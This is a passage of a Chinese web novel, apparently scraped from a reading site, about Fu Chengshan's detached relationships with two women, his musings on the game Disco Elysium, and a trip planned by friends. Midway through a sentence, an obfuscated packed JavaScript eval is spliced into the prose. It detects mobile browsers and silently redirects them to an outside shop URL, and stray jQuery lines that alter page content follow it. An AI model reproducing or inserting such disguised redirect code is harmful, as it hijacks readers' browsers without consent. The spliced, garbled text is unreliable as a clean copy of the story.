这一次的矛盾,胜过以往的每一次。
起因在于周芯竹要傅丞山陪自己飞去巴黎,参加一个名媛的婚宴,顺道游玩几天。
然而无论她如何威逼利诱,他就是不为所动,拒绝同行。
“傅丞山,你别太把自己当回事儿!傅家现在什么状况你最清楚,跟我家联姻是最好的选择,你少惹我生气!”
傅丞山抬头看她一眼,没回话。
威士忌又喝完一杯。
周芯竹清楚他之所以这么有恃无恐,也是因为傅丞岚的确手段了得,无论是开睿还是傅家,都在她的掌舵之下平稳运行。
只是周芯竹咽不下这口气,说话愈加难听:“我知道你没那么喜欢我,我也没有很喜欢你。要不是碍于长辈面子,谁会想要跟你这个老男人在一起。
“噢——你那个救命恩人闻霜,巴不得跟你一辈子待在一起。但是你能娶她吗?李姨会让她进傅家吗?
“对了,上个月她来找过你。那会儿我跟你刚做完,你在洗澡,我给开的门。她一看到我,掉头就走,哭得可伤心了。
“你这么爱她,没哄哄吗?”
她扬高下巴,等着对方的回应。
意料之外的平静。
他望着屋外纷纷扬扬的大雪,喝了一口威士忌,语调清寒得好似屋外的雪下进了屋里:“说够了吗?”
周芯竹瞪大眼睛地愣住。
与他交往同居的那些日子里,她深刻地认识到,傅丞山在生活中真的是一个十足冷淡漠然的人。
他虽有教养使然的绅士,却对生活态度疲懒疏离,没有热烈,没有疯狂,似一汪死气沉沉的潭水。
更重要的是,她完全感受不到对方有丝毫的爱意,好像她是谁都无所谓,待着也行,离开也可以。
她原以为说起闻霜的事情,至少能让他掀起些许情绪波动,结果也没有。
凉薄得教人心惊。
闻霜投资的一部电影拿了奖,庆功宴那晚喝得有些醺醺醉。
傅丞山的那个圈子就这么一点儿大,他和周芯竹的事情,没几天就传到闻霜耳朵里。
或许是酒意上头,闻霜拨打他的电话。
电话打到第十七通,才终于接通了。
“傅丞山,你为什么现在才接电话,是不是又在哪个女人身边……”
闻霜对着电话情绪宣泄了五分钟,舍得歇下来以后,这才发现对面一直没有回应。
她看了一下显示还在通话中的手机屏幕,小心翼翼地“喂”了一声。
“闻小姐。”是傅丞岚的声音,“你找我哥有什么事吗?”
傅丞岚掌舵时间还短,对于集团里核心业务的洽谈,某些大人物对她还不能完全信任,这时就需要傅丞山出面协助。
此次谈的矿产开发合作就是如此。也是因为这个项目,傅丞山拒绝周芯竹的巴黎之行。
合作谈完的那天晚上,强撑着身体的傅丞山直接倒下,被紧急送进医院。
傅丞岚封锁消息,在旁陪同。
对此不知情的闻霜听到他妹妹的声音后,顿时冷静下来,客气恭敬道:“傅小姐,我不知道是你,我以为——”
“找他有事吗?不重要的话,我就先挂了。”
“嗯。等他有空,我再打给他。”
断断续续、无望又卑微的关系,让闻霜感到由衷的疲惫。
那是一个雪过天晴的午后。
酒店套房的客厅里,傅丞山与闻霜相对而坐。
她捧着他递过来的热茶,望着袅袅腾升的热雾:“你这段时间都去哪儿了?我都找不到你。”
“没哪儿。”
“傅丞山。”
“嗯?”
屋里静静的,中央空调输送源源不断的暖气。
她不说话,他也安静。
良久,她开口问道:“你就没有什么想要对我说的吗?”
“说什么?”一如既往的冷淡语气。
他那些淡如白开水的话,仿佛一剂无色无味的毒.药,均匀地撒到她的身上,教她浑身上下无一处不在产生剧痛,以至于肝肠寸断。
“你对她也是这样吗?”闻霜抬起泛着泪光的双眼,去看那位薄情郎,“那个女人。”
他一开始还以为她说的“那个女人”是周芯竹,蹙起眉,表情略微不耐烦。
他不喜掺和女人之间的争斗。
闻霜望着他这样的表情,眼泪簌簌落下,惊骇到连连摇头,后背渐渐往后靠,与他拉开一些距离。
“好冷血。傅丞山,你好冷血!”她不管不顾,恼怒地指责他,“如果不是她,你根本不可能活到今天!”
忽然间,似乎有一股劲风,山呼海啸般灌进傅丞山的胸腔。
那件事情压在心底实在太久太久,久到真相突如其来的时候,他的指尖下意识地发颤。
他强装镇定地从面前的水晶果盘取来一片98%巧克力。
他不能让闻霜发现自己根本不知情。
他垂下眸,慢吞吞地拆开黑金包装,一边用冷漠的语气慢吞吞地试探:“你提她做什么。”
如同引线被点燃,压抑多时的情绪像火药一样炸开。
闻霜歘的一下站起来,流着泪冷笑道:“是我天真。你连她都能气走,还无情无义到让身边所有人都抹杀她的存在。我还妄想着自己会有什么不同。真是可笑。”
他依旧低着眸,将巧克力放到一边,摊平包装纸慢吞吞地折飞机,语气浅淡,无悲无喜:“别这么说。你不天真,也是帮凶之一。”
刻薄的话如冰水兜头浇下,闻霜犹如一个冬夜里被冻僵的人一样愣住原地。
一分钟后,她摔门离去。
折好的小飞机,脱离指尖,擦着桌沿的边缘滑到地上。
傅丞山忽地一下笑出声。
分不清是悲还是喜。
眼底泛起一点微光,眼眶发热酸胀。
也分不清是想哭还是想笑。
他撑着桌沿站起身,走到木柜里那一排黑胶唱片前,从中挑出那张《极乐迪斯科》游戏原声音乐专辑的黑胶唱片,放进唱片机里。
唱针下的黑胶唱片转动,悠扬的交响乐声溢满房间里的每一个角落,马丁内斯的海风似乎从乐声中缓缓吹拂而来。
在《极乐迪斯科》的游戏剧情里——
哈里和金·曷城在追凶途中,遇到一位和蔼的老妇人莉娜,她是神秘动物学莫雷尔的妻子,腿脚不便坐在轮椅上。
她跟哈里和金说起自己曾在小时候见过伊苏林迪竹节虫,可惜当时没有记录下来,也没能找到竹节虫的踪迹跟上它。
她跟丈夫因为竹节虫结缘,然后结婚。两个人终其一生,都在追寻竹节虫的踪迹。
经年累月的漫长失败,加上莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596376|187475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雷尔的病重,莉娜不得不放弃竹节虫的追寻。
她甚至怀疑自己小时候看到竹节虫这件事只是一个故事,或者是一场梦。
伊苏林迪竹节虫或许根本就不存在。
哈里宽慰莉娜竹节虫或许是存在的。金却缺乏热忱,因为神秘动物有着明显的不可证伪性。金认为竹节虫不过是莉娜与莫雷尔的臆想,实际根本不存在。
但二人还是接下【找到伊苏林迪竹节虫】的任务,带着这一个看似不可能完成的任务,在马丁内斯内走街串巷地查案。
直到游戏尾声,在一片茂密的芦苇丛旁边,终于抓到真凶的哈里和金,同时听到了奇怪的声音,他们往芦苇丛走去……
眼前的景象深深震撼了二人。
【伊苏林迪竹节虫—我存在。】
黑胶唱片里的乐声不知循环了几遍,夜色随着细雪沉沉地落下来。
一瓶威士忌已然喝空。
水晶杯中还剩两口琥珀色的酒液。
他醉醺醺地坐在羊毛地毯上,靠着沙发,远望屋外黯淡的月光与簌簌白雪。
意识朦朦胧胧,又跌进那个梦境里——
他淋着雨,看着那道搂着人正在哭喊的纤细身影。
不同以往地站着不动,这一次他急切地冲进晦暗里,想要将那道纤细身影扯到光亮处,好好看看对方到底是谁。
只是当他一脚踏进晦暗里时,场景瞬间碎成无数片粉紫色的花瓣。
回头一看,油画般的熊熊烈火烧着一棵苦楝树。
惊醒时,已是深夜时分。
雪还没有停。
唱片机还在兢兢业业地送来悠扬的乐声。
他的目光随意落到一处,四下空荡回音。
这些年,你还好吗?
我想见你一面。
我不怪你,真的。
我从来就没有怪过你。
拜托你,跟我见一面吧。
——他这样渴求着。
方子瑞和方然找到颓靡的傅丞山,当下还以为他这是为情所伤,受情所累。他们便围绕闻霜和周芯竹二人之间的问题,对他说了不少宽慰的话。
傅丞山看着两位亲友满眼的担忧,想了想,最终还是什么都没有说。
“欸,傅哥哥,不如你跟我们去散散心吧?”方然给堂哥使了一个眼色。
“是啊是啊,我们很久没去……”方子瑞在脑海里疯狂搜索地点,“北欧!对,北欧,这个冬天我们去北欧玩怎么样?”
“好啊。我来做攻略,堂哥安排人。”方然拍拍傅丞山的肩膀,“一定给傅哥哥一个难忘的北欧之行。”
傅丞山看向方然,弯起一个温和的笑:“好。”
这趟北欧之行,方子瑞邀请了不少人,为了方便,直接包了一架客机。
傅丞山、方然、方子瑞和汪婧四人在头等舱,其余的人在商务舱,陪同的助理、管家、司机等人在经济舱。
那时候,傅丞山还不知道他心心念念想见的人,与他同乘一架客机,坐在商务舱里,正在跟旁边的唐明霏说说笑笑。
他闲然地坐在头等舱里,用《宇宙探索编辑部》这部电影,来消磨漫长的飞行时间。
电影里的王一通让众人闭上双眼,画面黑屏,说话声,倒数,画面变亮,曝光过度的模糊画面再到清晰的画面——
狮子身上落满麻雀。